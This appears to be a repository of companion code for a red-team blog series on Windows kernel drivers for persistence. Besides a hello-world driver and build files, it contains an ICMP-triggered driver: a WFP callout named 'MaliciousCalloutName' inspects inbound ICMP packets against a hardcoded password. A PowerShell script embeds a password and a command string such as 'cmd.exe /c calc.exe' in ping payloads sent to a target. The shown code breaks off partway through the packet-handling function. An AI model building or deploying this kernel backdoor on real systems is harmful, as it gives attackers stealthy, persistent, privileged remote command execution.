├── README.md
├── writing-windows-kernel-drivers-for-advanced-persistence
├── KMDF_ICMP
│ ├── KMDF_ICMP
│ │ ├── Config.h
│ │ ├── Driver.c
│ │ ├── KMDF_ICMP.vcxproj.filters
│ │ ├── Trigger.h
│ │ ├── KMDF_ICMP.inf
│ │ ├── KMDF_ICMP.vcxproj
│ │ └── Trigger.c
│ ├── CustomPing.ps1
│ └── KMDF_ICMP.sln
└── KMDF_HelloWorld
│ ├── KMDF_HelloWorld
│ ├── Driver.c
│ ├── KMDF_HelloWorld.vcxproj.filters
│ ├── KMDF_HelloWorld.inf
│ └── KMDF_HelloWorld.vcxproj
│ └── KMDF_HelloWorld.sln
└── .gitignore
/README.md:
--------------------------------------------------------------------------------
1 | # Blog Lab
2 | This repository contains source files for the posts on my blog.
3 |
4 | ## Writing Windows Kernel Drivers for Advanced Persistence
5 | - Part 1: https://v3ded.github.io/redteam/red-team-tactics-writing-windows-kernel-drivers-for-advanced-persistence-part-1
6 | - Part 2: https://v3ded.github.io/redteam/red-team-tactics-writing-windows-kernel-drivers-for-advanced-persistence-part-2
7 |
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_ICMP/KMDF_ICMP/Config.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | /* Configuration variables */
4 | BYTE PASSWORD[4] = { 0x71, 0x72, 0x73, 0x74 }; // Password used for the network trigger (needs to be EXACTLY 4 bytes)
5 |
6 | /* Preprocessor */
7 | #pragma warning(disable: 4996) // Ignore depracated function calls - used for ExAllocatePoolWithTag
8 | #define ALLOC_TAG_NAME (ULONG)'TG_1' // Tag to identify the memory pool
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_ICMP/CustomPing.ps1:
--------------------------------------------------------------------------------
1 | # Exec with the flag set: .\CustomPing.ps1 -target 10.10.20.3 -password 0x71,0x72,0x73,0x74 -flag -cmd "cmd.exe /c calc.exe"
2 | # Exec with the flag NOT set: .\CustomPing.ps1 -target 10.10.20.3 -password 0x71,0x72,0x73,0x74 -cmd "cmd.exe /c calc.exe"
3 |
4 | param(
5 | [Parameter(Mandatory=$True)]
6 | [string]$target,
7 |
8 | [Parameter(Mandatory=$True)]
9 | [int[]]$password,
10 |
11 | [Parameter(Mandatory=$False)]
12 | [switch]$flag,
13 |
14 | [Parameter(Mandatory=$True)]
15 | [string]$cmd
16 | )
17 |
18 | $data = $password + $(If ($flag) {0x01} Else {0x00}) + [Text.Encoding]::ASCII.GetBytes($cmd)
19 | (New-Object System.Net.NetworkInformation.Ping).Send($target, 5000, $data)
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_ICMP/KMDF_ICMP/Driver.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include "Trigger.h"
3 |
4 | NTSTATUS UnloadDriver(_In_ PDRIVER_OBJECT driverObject) {
5 | UNREFERENCED_PARAMETER(driverObject);
6 |
7 | WfpCleanup();
8 | KdPrint(("Unloading the driver...\n"));
9 |
10 | return STATUS_SUCCESS;
11 | }
12 |
13 | NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
14 | UNREFERENCED_PARAMETER(registryPath);
15 |
16 | KdPrint(("Loading the driver...\n"));
17 | driverObject->DriverUnload = UnloadDriver;
18 |
19 | if (!(NT_SUCCESS(WfpInit(driverObject)))) {
20 | KdPrint(("Driver failed to load!\n"));
21 | return STATUS_UNSUCCESSFUL;
22 | }
23 | KdPrint(("Driver loaded!\n"));
24 |
25 | return STATUS_SUCCESS;
26 | }
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_HelloWorld/KMDF_HelloWorld/Driver.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | // Exit function
4 | NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
5 | UNREFERENCED_PARAMETER(driverObject); // Parameter not used, mark it as unreferenced
6 |
7 | KdPrint(("Goodbye World!\n")); // Print 'Goodbye World!' (debug mode only)
8 | return STATUS_SUCCESS;
9 | }
10 |
11 | // Entry function
12 | NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
13 | UNREFERENCED_PARAMETER(registryPath); // Parameter not used, mark it as unreferenced
14 |
15 | KdPrint(("Hello World!\n")); // Print 'Hello World!' (debug mode only)
16 | driverObject->DriverUnload = DriverUnload; // Map the unload routine to the 'DriverUnload' function
17 |
18 | return STATUS_SUCCESS;
19 | }
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_HelloWorld/KMDF_HelloWorld/KMDF_HelloWorld.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {8E41214B-6785-4CFE-B992-037D68949A14}
18 | inf;inv;inx;mof;mc;
19 |
20 |
21 |
22 |
23 | Driver Files
24 |
25 |
26 |
27 |
28 | Source Files
29 |
30 |
31 |
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_ICMP/KMDF_ICMP/KMDF_ICMP.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {8E41214B-6785-4CFE-B992-037D68949A14}
18 | inf;inv;inx;mof;mc;
19 |
20 |
21 |
22 |
23 | Driver Files
24 |
25 |
26 |
27 |
28 | Source Files
29 |
30 |
31 | Source Files
32 |
33 |
34 |
35 |
36 | Header Files
37 |
38 |
39 | Header Files
40 |
41 |
42 |
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_HelloWorld/KMDF_HelloWorld.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33122.133
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KMDF_HelloWorld", "KMDF_HelloWorld\KMDF_HelloWorld.vcxproj", "{217747B6-0F83-4132-8CC3-48BCFBBEA4B0}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|ARM64 = Debug|ARM64
11 | Debug|x64 = Debug|x64
12 | Release|ARM64 = Release|ARM64
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {217747B6-0F83-4132-8CC3-48BCFBBEA4B0}.Debug|ARM64.ActiveCfg = Debug|ARM64
17 | {217747B6-0F83-4132-8CC3-48BCFBBEA4B0}.Debug|ARM64.Build.0 = Debug|ARM64
18 | {217747B6-0F83-4132-8CC3-48BCFBBEA4B0}.Debug|ARM64.Deploy.0 = Debug|ARM64
19 | {217747B6-0F83-4132-8CC3-48BCFBBEA4B0}.Debug|x64.ActiveCfg = Debug|x64
20 | {217747B6-0F83-4132-8CC3-48BCFBBEA4B0}.Debug|x64.Build.0 = Debug|x64
21 | {217747B6-0F83-4132-8CC3-48BCFBBEA4B0}.Debug|x64.Deploy.0 = Debug|x64
22 | {217747B6-0F83-4132-8CC3-48BCFBBEA4B0}.Release|ARM64.ActiveCfg = Release|ARM64
23 | {217747B6-0F83-4132-8CC3-48BCFBBEA4B0}.Release|ARM64.Build.0 = Release|ARM64
24 | {217747B6-0F83-4132-8CC3-48BCFBBEA4B0}.Release|ARM64.Deploy.0 = Release|ARM64
25 | {217747B6-0F83-4132-8CC3-48BCFBBEA4B0}.Release|x64.ActiveCfg = Release|x64
26 | {217747B6-0F83-4132-8CC3-48BCFBBEA4B0}.Release|x64.Build.0 = Release|x64
27 | {217747B6-0F83-4132-8CC3-48BCFBBEA4B0}.Release|x64.Deploy.0 = Release|x64
28 | EndGlobalSection
29 | GlobalSection(SolutionProperties) = preSolution
30 | HideSolutionNode = FALSE
31 | EndGlobalSection
32 | GlobalSection(ExtensibilityGlobals) = postSolution
33 | SolutionGuid = {BD6CE0EF-3635-4DB8-995E-2BF380D174BA}
34 | EndGlobalSection
35 | EndGlobal
36 |
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_ICMP/KMDF_ICMP/Trigger.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | /*
4 | * Note:
5 | * If the linker complains, add the following additional dependencies:
6 | * - $(DDK_LIB_PATH)\fwpkclnt.lib
7 | * - $(DDK_LIB_PATH)\ndis.lib
8 | * - $(SDK_LIB_PATH)\uuid.lib
9 | */
10 |
11 | // Network driver headers
12 | #define NDIS630
13 | #include
14 |
15 | // WFP headers
16 | #include
17 | #include
18 | #include
19 |
20 | // GUID headers
21 | // https://www.gamedev.net/forums/topic/18905-initguid-an-explanation/
22 | #define INITGUID
23 | #include
24 |
25 | /*
26 | * Generate random GUIDs:
27 | * - a7e76cdd-5b2e-4ffd-a89d-f569911756e7 (Sub-layer GUID)
28 | * - 8aadb11d-e10e-480d-a669-61dbcc8658e6 (Callout GUID)
29 | */
30 | DEFINE_GUID(SUB_LAYER_GUID, 0xa7e76cdd, 0x5b2e, 0x4ffd, 0xa8, 0x9d, 0xf5, 0x69, 0x91, 0x17, 0x56, 0xe7);
31 | DEFINE_GUID(CALLOUT_GUID, 0x8aadb11d, 0xe10e, 0x480d, 0xa6, 0x69, 0x61, 0xdb, 0xcc, 0x86, 0x58, 0xe6);
32 |
33 | PDEVICE_OBJECT filterDeviceObject; // Device object for the filter engine
34 | HANDLE engineHandle; // Handle to the filter engine
35 | UINT32 registerCalloutId; // Identifier of the added callout
36 | UINT32 addCalloutId; // Identifier of the added callout
37 | UINT64 filterId; // Identifier of the added filter
38 |
39 | NTSTATUS WfpInit(PDRIVER_OBJECT driverObject);
40 |
41 | NTSTATUS CalloutRegister();
42 | NTSTATUS CalloutAdd();
43 |
44 | VOID CalloutFilter(const FWPS_INCOMING_VALUES* inFixedValues, const FWPS_INCOMING_METADATA_VALUES* inMetaValues, void* layerData, const void* classifyContext, const FWPS_FILTER* filter, UINT64 flowContext, FWPS_CLASSIFY_OUT* classifyOut);
45 | NTSTATUS CalloutNotify(FWPS_CALLOUT_NOTIFY_TYPE notifyType, const GUID* filterKey, FWPS_FILTER* filter);
46 |
47 | NTSTATUS SublayerAdd();
48 | NTSTATUS FilterAdd();
49 |
50 | VOID TermFilterDeviceObject();
51 | VOID TermCalloutData();
52 | VOID TermWfpEngine();
53 | VOID WfpCleanup();
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_ICMP/KMDF_ICMP.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33122.133
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KMDF_ICMP", "KMDF_ICMP\KMDF_ICMP.vcxproj", "{B80D5E81-797C-465F-858A-8154572D4923}"
7 | EndProject
8 | Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{8F997C8A-9A38-46C0-A5E1-0610512EFBF9}"
9 | ProjectSection(SolutionItems) = preProject
10 | CustomPing.ps1 = CustomPing.ps1
11 | EndProjectSection
12 | EndProject
13 | Global
14 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
15 | Debug|ARM64 = Debug|ARM64
16 | Debug|x64 = Debug|x64
17 | Release|ARM64 = Release|ARM64
18 | Release|x64 = Release|x64
19 | EndGlobalSection
20 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
21 | {B80D5E81-797C-465F-858A-8154572D4923}.Debug|ARM64.ActiveCfg = Debug|ARM64
22 | {B80D5E81-797C-465F-858A-8154572D4923}.Debug|ARM64.Build.0 = Debug|ARM64
23 | {B80D5E81-797C-465F-858A-8154572D4923}.Debug|ARM64.Deploy.0 = Debug|ARM64
24 | {B80D5E81-797C-465F-858A-8154572D4923}.Debug|x64.ActiveCfg = Debug|x64
25 | {B80D5E81-797C-465F-858A-8154572D4923}.Debug|x64.Build.0 = Debug|x64
26 | {B80D5E81-797C-465F-858A-8154572D4923}.Debug|x64.Deploy.0 = Debug|x64
27 | {B80D5E81-797C-465F-858A-8154572D4923}.Release|ARM64.ActiveCfg = Release|ARM64
28 | {B80D5E81-797C-465F-858A-8154572D4923}.Release|ARM64.Build.0 = Release|ARM64
29 | {B80D5E81-797C-465F-858A-8154572D4923}.Release|ARM64.Deploy.0 = Release|ARM64
30 | {B80D5E81-797C-465F-858A-8154572D4923}.Release|x64.ActiveCfg = Release|x64
31 | {B80D5E81-797C-465F-858A-8154572D4923}.Release|x64.Build.0 = Release|x64
32 | {B80D5E81-797C-465F-858A-8154572D4923}.Release|x64.Deploy.0 = Release|x64
33 | EndGlobalSection
34 | GlobalSection(SolutionProperties) = preSolution
35 | HideSolutionNode = FALSE
36 | EndGlobalSection
37 | GlobalSection(ExtensibilityGlobals) = postSolution
38 | SolutionGuid = {7532B13A-42A2-4F9D-B6D9-A20744A26C49}
39 | EndGlobalSection
40 | EndGlobal
41 |
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_ICMP/KMDF_ICMP/KMDF_ICMP.inf:
--------------------------------------------------------------------------------
1 | ;
2 | ; KMDF_ICMP.inf
3 | ;
4 |
5 | [Version]
6 | Signature="$WINDOWS NT$"
7 | Class=System ; TODO: specify appropriate Class
8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid
9 | Provider=%ManufacturerName%
10 | CatalogFile=KMDF_ICMP.cat
11 | DriverVer= ; TODO: set DriverVer in stampinf property pages
12 | PnpLockdown=1
13 |
14 | [DestinationDirs]
15 | DefaultDestDir = 12
16 | KMDF_ICMP_Device_CoInstaller_CopyFiles = 11
17 |
18 | [SourceDisksNames]
19 | 1 = %DiskName%,,,""
20 |
21 | [SourceDisksFiles]
22 | KMDF_ICMP.sys = 1,,
23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames
24 |
25 | ;*****************************************
26 | ; Install Section
27 | ;*****************************************
28 |
29 | [Manufacturer]
30 | %ManufacturerName%=Standard,NT$ARCH$
31 |
32 | [Standard.NT$ARCH$]
33 | %KMDF_ICMP.DeviceDesc%=KMDF_ICMP_Device, Root\KMDF_ICMP ; TODO: edit hw-id
34 |
35 | [KMDF_ICMP_Device.NT]
36 | CopyFiles=Drivers_Dir
37 |
38 | [Drivers_Dir]
39 | KMDF_ICMP.sys
40 |
41 | ;-------------- Service installation
42 | [KMDF_ICMP_Device.NT.Services]
43 | AddService = KMDF_ICMP,%SPSVCINST_ASSOCSERVICE%, KMDF_ICMP_Service_Inst
44 |
45 | ; -------------- KMDF_ICMP driver install sections
46 | [KMDF_ICMP_Service_Inst]
47 | DisplayName = %KMDF_ICMP.SVCDESC%
48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER
49 | StartType = 3 ; SERVICE_DEMAND_START
50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL
51 | ServiceBinary = %12%\KMDF_ICMP.sys
52 |
53 | ;
54 | ;--- KMDF_ICMP_Device Coinstaller installation ------
55 | ;
56 |
57 | [KMDF_ICMP_Device.NT.CoInstallers]
58 | AddReg=KMDF_ICMP_Device_CoInstaller_AddReg
59 | CopyFiles=KMDF_ICMP_Device_CoInstaller_CopyFiles
60 |
61 | [KMDF_ICMP_Device_CoInstaller_AddReg]
62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller"
63 |
64 | [KMDF_ICMP_Device_CoInstaller_CopyFiles]
65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll
66 |
67 | [KMDF_ICMP_Device.NT.Wdf]
68 | KmdfService = KMDF_ICMP, KMDF_ICMP_wdfsect
69 | [KMDF_ICMP_wdfsect]
70 | KmdfLibraryVersion = $KMDFVERSION$
71 |
72 | [Strings]
73 | SPSVCINST_ASSOCSERVICE= 0x00000002
74 | ManufacturerName="" ;TODO: Replace with your manufacturer name
75 | DiskName = "KMDF_ICMP Installation Disk"
76 | KMDF_ICMP.DeviceDesc = "KMDF_ICMP Device"
77 | KMDF_ICMP.SVCDESC = "KMDF_ICMP Service"
78 |
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_HelloWorld/KMDF_HelloWorld/KMDF_HelloWorld.inf:
--------------------------------------------------------------------------------
1 | ;
2 | ; KMDF_HelloWorld.inf
3 | ;
4 |
5 | [Version]
6 | Signature="$WINDOWS NT$"
7 | Class=System ; TODO: specify appropriate Class
8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid
9 | Provider=%ManufacturerName%
10 | CatalogFile=KMDF_HelloWorld.cat
11 | DriverVer= ; TODO: set DriverVer in stampinf property pages
12 | PnpLockdown=1
13 |
14 | [DestinationDirs]
15 | DefaultDestDir = 12
16 | KMDF_HelloWorld_Device_CoInstaller_CopyFiles = 11
17 |
18 | [SourceDisksNames]
19 | 1 = %DiskName%,,,""
20 |
21 | [SourceDisksFiles]
22 | KMDF_HelloWorld.sys = 1,,
23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames
24 |
25 | ;*****************************************
26 | ; Install Section
27 | ;*****************************************
28 |
29 | [Manufacturer]
30 | %ManufacturerName%=Standard,NT$ARCH$
31 |
32 | [Standard.NT$ARCH$]
33 | %KMDF_HelloWorld.DeviceDesc%=KMDF_HelloWorld_Device, Root\KMDF_HelloWorld ; TODO: edit hw-id
34 |
35 | [KMDF_HelloWorld_Device.NT]
36 | CopyFiles=Drivers_Dir
37 |
38 | [Drivers_Dir]
39 | KMDF_HelloWorld.sys
40 |
41 | ;-------------- Service installation
42 | [KMDF_HelloWorld_Device.NT.Services]
43 | AddService = KMDF_HelloWorld,%SPSVCINST_ASSOCSERVICE%, KMDF_HelloWorld_Service_Inst
44 |
45 | ; -------------- KMDF_HelloWorld driver install sections
46 | [KMDF_HelloWorld_Service_Inst]
47 | DisplayName = %KMDF_HelloWorld.SVCDESC%
48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER
49 | StartType = 3 ; SERVICE_DEMAND_START
50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL
51 | ServiceBinary = %12%\KMDF_HelloWorld.sys
52 |
53 | ;
54 | ;--- KMDF_HelloWorld_Device Coinstaller installation ------
55 | ;
56 |
57 | [KMDF_HelloWorld_Device.NT.CoInstallers]
58 | AddReg=KMDF_HelloWorld_Device_CoInstaller_AddReg
59 | CopyFiles=KMDF_HelloWorld_Device_CoInstaller_CopyFiles
60 |
61 | [KMDF_HelloWorld_Device_CoInstaller_AddReg]
62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller"
63 |
64 | [KMDF_HelloWorld_Device_CoInstaller_CopyFiles]
65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll
66 |
67 | [KMDF_HelloWorld_Device.NT.Wdf]
68 | KmdfService = KMDF_HelloWorld, KMDF_HelloWorld_wdfsect
69 | [KMDF_HelloWorld_wdfsect]
70 | KmdfLibraryVersion = $KMDFVERSION$
71 |
72 | [Strings]
73 | SPSVCINST_ASSOCSERVICE= 0x00000002
74 | ManufacturerName="" ;TODO: Replace with your manufacturer name
75 | DiskName = "KMDF_HelloWorld Installation Disk"
76 | KMDF_HelloWorld.DeviceDesc = "KMDF_HelloWorld Device"
77 | KMDF_HelloWorld.SVCDESC = "KMDF_HelloWorld Service"
78 |
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_HelloWorld/KMDF_HelloWorld/KMDF_HelloWorld.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 | Debug
14 | ARM64
15 |
16 |
17 | Release
18 | ARM64
19 |
20 |
21 |
22 | {217747B6-0F83-4132-8CC3-48BCFBBEA4B0}
23 | {1bc93793-694f-48fe-9372-81e2b05556fd}
24 | v4.5
25 | 12.0
26 | Debug
27 | x64
28 | KMDF_HelloWorld
29 |
30 |
31 |
32 | Windows10
33 | true
34 | WindowsKernelModeDriver10.0
35 | Driver
36 | KMDF
37 | Universal
38 |
39 |
40 | Windows10
41 | false
42 | WindowsKernelModeDriver10.0
43 | Driver
44 | KMDF
45 | Universal
46 |
47 |
48 | Windows10
49 | true
50 | WindowsKernelModeDriver10.0
51 | Driver
52 | KMDF
53 | Universal
54 |
55 |
56 | Windows10
57 | false
58 | WindowsKernelModeDriver10.0
59 | Driver
60 | KMDF
61 | Universal
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 | DbgengKernelDebugger
73 | true
74 |
75 |
76 | DbgengKernelDebugger
77 | true
78 |
79 |
80 | DbgengKernelDebugger
81 |
82 |
83 | DbgengKernelDebugger
84 |
85 |
86 |
87 | sha256
88 |
89 |
90 |
91 |
92 | sha256
93 |
94 |
95 |
96 |
97 | sha256
98 |
99 |
100 |
101 |
102 | sha256
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_ICMP/KMDF_ICMP/KMDF_ICMP.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 | Debug
14 | ARM64
15 |
16 |
17 | Release
18 | ARM64
19 |
20 |
21 |
22 | {B80D5E81-797C-465F-858A-8154572D4923}
23 | {1bc93793-694f-48fe-9372-81e2b05556fd}
24 | v4.5
25 | 12.0
26 | Debug
27 | x64
28 | KMDF_ICMP
29 |
30 |
31 |
32 | Windows10
33 | true
34 | WindowsKernelModeDriver10.0
35 | Driver
36 | KMDF
37 | Universal
38 |
39 |
40 | Windows10
41 | false
42 | WindowsKernelModeDriver10.0
43 | Driver
44 | KMDF
45 | Universal
46 |
47 |
48 | Windows10
49 | true
50 | WindowsKernelModeDriver10.0
51 | Driver
52 | KMDF
53 | Universal
54 |
55 |
56 | Windows10
57 | false
58 | WindowsKernelModeDriver10.0
59 | Driver
60 | KMDF
61 | Universal
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 | DbgengKernelDebugger
73 | true
74 |
75 |
76 | DbgengKernelDebugger
77 | true
78 |
79 |
80 | DbgengKernelDebugger
81 |
82 |
83 | DbgengKernelDebugger
84 |
85 |
86 |
87 | sha256
88 |
89 |
90 | $(DDK_LIB_PATH)\fwpkclnt.lib;$(DDK_LIB_PATH)\ndis.lib;$(SDK_LIB_PATH)\uuid.lib;%(AdditionalDependencies)
91 |
92 |
93 |
94 |
95 | sha256
96 |
97 |
98 | $(DDK_LIB_PATH)\fwpkclnt.lib;$(DDK_LIB_PATH)\ndis.lib;$(SDK_LIB_PATH)\uuid.lib;%(AdditionalDependencies)
99 |
100 |
101 |
102 |
103 | sha256
104 |
105 |
106 |
107 |
108 | sha256
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
--------------------------------------------------------------------------------
/writing-windows-kernel-drivers-for-advanced-persistence/KMDF_ICMP/KMDF_ICMP/Trigger.c:
--------------------------------------------------------------------------------
1 | #include "Trigger.h"
2 | #include "Config.h"
3 |
4 | NTSTATUS WfpInit(PDRIVER_OBJECT driverObject) {
5 | engineHandle = NULL;
6 | filterDeviceObject = NULL;
7 |
8 | // Create a device object (used in the callout registration)
9 | NTSTATUS status = IoCreateDevice(driverObject, 0, NULL, FILE_DEVICE_UNKNOWN, 0, FALSE, &filterDeviceObject);
10 | if (!NT_SUCCESS(status)) {
11 | KdPrint(("Failed to create the filter device object (0x%X).\n", status));
12 | return status;
13 | }
14 |
15 | // Open a session to the filter engine (https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmengineopen0)
16 | status = FwpmEngineOpen(NULL, RPC_C_AUTHN_WINNT, NULL, NULL, &engineHandle);
17 | if (!NT_SUCCESS(status)) {
18 | KdPrint(("Failed to open the filter engine (0x%X).\n", status));
19 | return status;
20 | }
21 |
22 | // Register a callout with the filter engine
23 | status = CalloutRegister();
24 | if (!NT_SUCCESS(status)) {
25 | KdPrint(("Failed to register the filter callout (0x%X).\n", status));
26 | return status;
27 | }
28 |
29 | // Add the callout to the system (FWPM_LAYER_INBOUND_TRANSPORT_V4 layer)
30 | status = CalloutAdd();
31 | if (!NT_SUCCESS(status)) {
32 | KdPrint(("Failed to add the filter callout (0x%X).\n", status));
33 | return status;
34 | }
35 |
36 | // Add a sublayer to the system
37 | status = SublayerAdd();
38 | if (!NT_SUCCESS(status)) {
39 | KdPrint(("Failed to add the sublayer (0x%X).\n", status));
40 | return status;
41 | }
42 |
43 | // Add a filter rule to the added sublayer
44 | status = FilterAdd();
45 | if (!NT_SUCCESS(status)) {
46 | KdPrint(("Failed to add the filter (0x%X).\n", status));
47 | return status;
48 | }
49 |
50 | return TRUE;
51 | }
52 |
53 | NTSTATUS CalloutRegister() {
54 | registerCalloutId = 0;
55 |
56 | // https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fwpsk/ns-fwpsk-fwps_callout0_
57 | FWPS_CALLOUT callout = {
58 | .calloutKey = CALLOUT_GUID, // Unique GUID that identifies the callout
59 | .flags = 0, // None
60 | .classifyFn = CalloutFilter, // Callout function used to process network data (our ICMP packets)
61 | .notifyFn = CalloutNotify, // Callout function used to receive notifications from the filter engine, not needed in our case (but needs to be defined)
62 | .flowDeleteFn = NULL, // Callout function used to process terminated data, not needed in our case (does't need to be defined)
63 | };
64 |
65 | // https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fwpsk/nf-fwpsk-fwpscalloutregister0
66 | return FwpsCalloutRegister(filterDeviceObject, &callout, ®isterCalloutId);
67 | }
68 |
69 | NTSTATUS CalloutAdd() {
70 | addCalloutId = 0;
71 |
72 | // https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_callout0
73 | FWPM_CALLOUT callout = {
74 | .flags = 0, // None
75 | .displayData.name = L"MaliciousCalloutName",
76 | .displayData.description = L"MaliciousCalloutDescription",
77 | .calloutKey = CALLOUT_GUID, // Unique GUID that identifies the callout, should be the same as the registered FWPS_CALLOUT GUID
78 | .applicableLayer = FWPM_LAYER_INBOUND_TRANSPORT_V4, // https://learn.microsoft.com/en-us/windows/win32/fwp/management-filtering-layer-identifiers-
79 | };
80 |
81 | // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmcalloutadd0
82 | return FwpmCalloutAdd(engineHandle, &callout, NULL, &addCalloutId);
83 | }
84 |
85 | VOID CalloutFilter(
86 | // https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fwpsk/nc-fwpsk-fwps_callout_classify_fn0
87 | const FWPS_INCOMING_VALUES* inFixedValues,
88 | const FWPS_INCOMING_METADATA_VALUES* inMetaValues,
89 | void* layerData,
90 | const void* classifyContext,
91 | const FWPS_FILTER* filter,
92 | UINT64 flowContext,
93 | FWPS_CLASSIFY_OUT* classifyOut
94 | ) {
95 | //UNREFERENCED_PARAMETER(inFixedValues);
96 | //UNREFERENCED_PARAMETER(inMetaValues);
97 | //UNREFERENCED_PARAMETER(layerData);
98 | UNREFERENCED_PARAMETER(classifyContext);
99 | UNREFERENCED_PARAMETER(filter);
100 | UNREFERENCED_PARAMETER(flowContext);
101 | UNREFERENCED_PARAMETER(classifyOut);
102 |
103 | /* Only accept packets which:
104 | * 1) Have a valid layerData pointer
105 | * 2) Use ICMP
106 | * 3) Have a valid IP header (size > 0)
107 | */
108 | if (
109 | !layerData ||
110 | inFixedValues->incomingValue[FWPS_FIELD_DATAGRAM_DATA_V4_IP_PROTOCOL].value.uint8 != IPPROTO_ICMP ||
111 | inMetaValues->ipHeaderSize <= 0
112 | ) {
113 |
114 | return;
115 | }
116 | KdPrint(("Received an ICMP packet!\n"));
117 |
118 | // Cast layerData to NET_BUFFER_LIST (https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fwpsk/nc-fwpsk-fwps_callout_classify_fn0)
